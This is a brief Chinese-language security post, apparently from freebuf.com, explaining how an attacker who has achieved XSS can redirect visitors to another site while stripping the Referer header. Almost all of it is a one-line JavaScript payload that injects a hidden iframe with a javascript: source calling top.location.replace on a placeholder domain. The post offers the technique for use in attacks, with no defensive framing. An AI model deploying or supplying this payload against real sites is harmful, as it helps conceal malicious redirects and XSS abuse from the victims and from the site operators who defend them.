XSS 页面跳转NO-REFERER – 作者:shaven

XSS成功以后，需要从源站，跳转到目标站，页面跳转时常常会被带上referer，如何实现no-referer呢？

• 利用iframe跳转

var a = document.createElement("iframe");a.style.display="none";a.src = "javascript:'<script>top.location.replace(\"https://www.xxxx.com/\")</script>'";document.body.appendChild(a);

来源：freebuf.com 2020-08-18 09:31:19 by: shaven